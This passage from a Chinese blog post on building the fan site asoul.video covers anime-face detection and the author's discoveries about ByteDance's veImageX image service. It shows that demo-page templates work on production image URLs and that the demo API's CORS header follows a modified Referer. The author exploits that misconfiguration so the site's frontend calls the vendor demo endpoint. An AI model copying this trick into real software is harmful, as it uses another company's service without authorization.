多张图片,我当然是不可能人工去标注的。对机器学习一窍不通的我,在 GitHub 上发现了一个日本老哥的七年前的项目 <a href="https://github.com/nagadomi/lbpcascade_animeface" title="https://github.com/nagadomi/lbpcascade_animeface">https://github.com/nagadomi/lbpcascade_animeface</a> 。作者开源了一个 OpenCV 的模型,将其加载后即可使用 OpenCV 检测获得图片中所有动漫人物的面部坐标。我拿几张嘉然的视频封面试了下,识别率还是挺准确的。 作者提供了 Python 的实现,而我用他的模型,结合 gocv 封了一个 Go 版本的,<a href="https://github.com/asoul-video/face-detection" title="https://github.com/asoul-video/face-detection">https://github.com/asoul-video/face-detection</a> 。这里得夸一下 gocv 封装的 OpenCV API 设计的还真不错,完全不懂的我,都可以完成从 Python 版迁移到 Go 的工作,因为相关函数名和对象属性其实都是一样的。</p> <p>最后将该程序封成了一个 Web 服务,Dockerfile 打包成镜像。原本是想上云做 Serverless 的,可惜打出来的镜像太大,阿里云表示不能用。只好部署在自己 Apicon 的机子上,接入 Apicon 的网关作为一个服务,也算是生态闭环了。😅</p> <h2 id="火山引擎-veimagex-模板">火山引擎 veImageX 模板</h2> <p>让女孩们的笑容始终位于舞台正中后,我发现封面图片加载的速度其实并不乐观。显示封面的 div 也才 285 x 220 的大小,可有的图片原始尺寸居然超过 1000 像素,这妥妥的没必要。如果我们能降低图片的大小,这样加载起来就能快很多。</p> <p>我联想到一般的 CDN 或者对象存储,其实都可以在 URL 后拼接参数对图像进行变形、裁剪、滤镜等处理。经过一翻调研,我得知字节系所有产品线均使用 ImageX 引擎来处理图片。我们简单打开今日头条或者抖音,找到一张比较小的图片,分析其 URL:</p> <pre tabindex="0"><code>https://p6.toutiaoimg.com/img/pgc-image/1007c7c87d564df8a356946c2dc2a5cb~tplv-tt-cs0:640:360.jpg </code></pre><p>可以看到图片末尾的 <code>~tplv</code> 后面跟的,就是图片的处理参数。这里的 640:360,其实就是图片的裁剪大小。</p> <p>同时 ImageX 又作为 to B 产品,在字节火山引擎上作为产品卖,名为 veImageX。 因为是 to B 的产品,所以我到现在都还没通过申请。但我们可以阅读 veImageX 的文档 <a href="https://www.volcengine.com/docs/508/8084" title="https://www.volcengine.com/docs/508/8084">https://www.volcengine.com/docs/508/8084</a> 来了解它支持哪些参数。比如 <code>~info</code> 可以查看图片元信息。 同时,通过在 GitHub 和 Sourcegraph 上搜索 <code>~tplv</code> 关键字,我们可以找到一些使用案例,从而挖掘出更多的玩法。</p> <p>最后我找到了可以使用 <code>~tplv-crop-top:285:285.jpg</code> 这个参数来从上向下进行裁剪图片。前端在 URL 后加上该参数将图片裁小后,加载真的变快了!</p> <h2 id="震惊veimagex-模板居然是通用的">震惊!veImageX 模板居然是通用的!</h2> <p>火山引擎的 veImageX 有一个在线 Demo 页:<a href="https://imagexdemo.volcengine.com/" title="https://imagexdemo.volcengine.com/ ">https://imagexdemo.volcengine.com/ </a>可以来体验所有功能。 从中我们可以了解到其实裁剪还可以指定坐标,veImageX 还可以给图片加水印。当你在页面上设置图片的处理方式时,页面会将你的处理 POST 发送给 <code>https://imagexdemo.volcengine.com/api/PreviewLiteImageTemplate/</code>,响应中返回处理后的图片链接:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#a5d6ff">&#34;PreviewURL&#34;</span><span style="color:#f85149">:</span> <span style="color:#a5d6ff">&#34;https://p3-imagex-lite.volcimagex.com/imagex-rc/1.png~tplv-yykgsuqxec-imagexlite-e5461252847c46d6365efa580388585e.image&#34;</span> </span></span></code></pre></div><p>可以看到对图片的处理,其实也就是给图片使用一个临时创建处理模板。即 <code>~tplv-</code> 后面那段。</p> <p>而奇怪的事情就由此发生了: <strong>在 veImageX Demo 页中创建的图片处理模板,居然可以直接用在字节全线产品生产环境的图片外链中,从而实现对图片的自定义处理。</strong></p> <p>比方说我在 veImageX Demo 页创建了一个图片处理模板,这个模板会给图片打上自定义的水印,并加上我写的字: <img src="https://github.red/images/2021/11/veImageX-Demo.jpg" alt=""></p> <p>F12 获得这个图片的模板名称后,将其拼接在抖音封面图片 URL 的后面。</p> <p><img src="https://github.red/images/2021/11/veImageX-Template.jpg" alt=""></p> <p>可以看到图片同样被该模板处理了。我还测试了今日头条下的图片,也是有相同的问题。</p> <p>我在查 veImageX 模板时,发现掘金其实就是火山引擎的客户,他们就在用 veImageX 模板来处理图片打水印。不出意外,他们的 <code>~tplv-</code> 模板在字节其他产品下的图片处理中也是通的。 按理来说你火山引擎 to B 产品,跟内部私有字节云应该是完全分离开来的。</p> <p>我也不清楚这算不算漏洞,低危交了 ByteSRC,然后被忽略了。 那行,既然你字节觉得这不算洞,也不会有实际危害,那咱就公开了。😈</p> <h2 id="veimagex-的虚假-cors-同源限制">veImageX 的虚假 CORS 同源限制</h2> <p>在 veImageX Demo 的裁剪功能中,有一个「动漫人脸裁剪」,跟我上面用 OpenCV 做的效果是一样的。 而上面 OpenCV 的方案有不少图片未能识别出人脸,我便想让这些图片 fallback 到 veImageX 去进行处理。我用 veImageX Demo 创建个动漫人脸裁剪的图片处理模板,然后前端拼抖音封面图片 URL 后面即可,反正他们都是通的嘛。</p> <p>然而 veImageX Demo 创建的图片模板有效期只有一小时,无法硬编码到代码内。 如果用户每次访问 asoul.video,都能临时生成一个模板就好了&hellip;&hellip; 可事实就是这么幸运,veImageX Demo 通过 POST <code>https://imagexdemo.volcengine.com/api/PreviewLiteImageTemplate/</code> 来获取图片处理模板。该请求的响应头中有</p> <pre tabindex="0"><code class="language-header" data-lang="header">access-control-allow-origin: https://imagexdemo.volcengine.com </code></pre><p>来限制同源。而当我把 Referer 改成 <code>https://asoul.video</code> 时,他返回的 CORS 头居然就变成了</p> <pre tabindex="0"><code class="language-header" data-lang="header">access-control-allow-origin: https://asoul.video </code></pre><p>什么鬼?这虚假的 CORS 同源限制,还就那个自适应?😅</p> <p>接下来就很简单了,每次用户访问,直接前端 axios 请求这个接口,请求拿到图片模板用就行了。就这啊?属实绷不住了。</p> <h2 id="沸腾期待">沸腾期待</h2> <p>以上就是我在开发 asoul.video 这个网站背后所遇到的有意思的小故事。通篇下来很多地方都是在跟字节斗智斗勇,我相信这样的故事在今后还会不断发生。 话题回到 A-SOUL,除开逆天的发病视频外,我也很欣赏那些有才能的一个魂们,为这个团体所做的付出。他们在自己所擅长的领域之内,用爱发电做一些力所能及的事情。枝网小作文查重,支持正义原创发病;Wiki 站和枝江方言词典,让新来的一个魂能快速了解她们;A-SOUL DB 对每一期直播进行了素材的详细标注分类,让有能 man 快速做出逆天二创。 说实话,我是很喜欢当下这样一个氛围的。这是在我迄今为止时间不长的推 v 过程中没有遇见的,因此我也想着能做些什么。我入坑的时间比较晚,错过了之前很多的精彩,也没能体会到那段辛酸,但我愿意从现在开始追随着她们,在人生中的重要转折点留下她们的印记。</p> <p>很庆幸当时被拉着入坑&hellip;&hellip; 被拉?&hellip;&hellip;贝拉? 拉姐!拉姐你带我走吧!!!😭😭😭</p>